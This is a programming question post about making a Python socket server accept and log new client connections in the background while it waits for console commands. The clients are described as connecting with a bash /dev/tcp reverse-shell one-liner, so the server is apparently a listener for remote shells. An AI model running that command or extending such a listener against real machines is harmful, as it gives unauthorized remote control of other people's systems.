I have the server which accepts connection requests from clients. Clients send connection requests using this command: bash -i > /dev/tcp/ip/port 0<&1 1>&1
. I want my server to instantly accept new connection requests and log them to console but I don't know how. In the code below there is while loop. As we can see command_accept() need to finish itself for client_accept() to start. That means I always need to pass some command to accept new client requests. I need client_accept() to be always running in the background.
I tried to set a time limit to my input but that's not a solution I need. Also I tried different libraries for asynchronous programming though I'm not sure I'm doing this correctly.
import socket
import time
import sys
host = '127.0.0.1'
port = 1344
id_counter = 0
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)
server.bind((host, port))
server.listen()
clients = {}
def client_accept(server):
while True:
try:
conn, addr = server.accept()
global id_counter
id_counter += 1
clients[id_counter] = (conn, addr)
print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
except socket.timeout:
break
def command_accept():
command = input('server > ')
#** don't pay attention **#
if command == 'exit':
sys.exit()
else:
print(f'command {command} accepted!')
while True:
command_accept()
client_accept(server)
Expected result: I don't pass anything to the input in command_accept and yet if new client sent request then the server will instantly accept it and print something like New client [ID 1] with address 127.0.0.1:45431.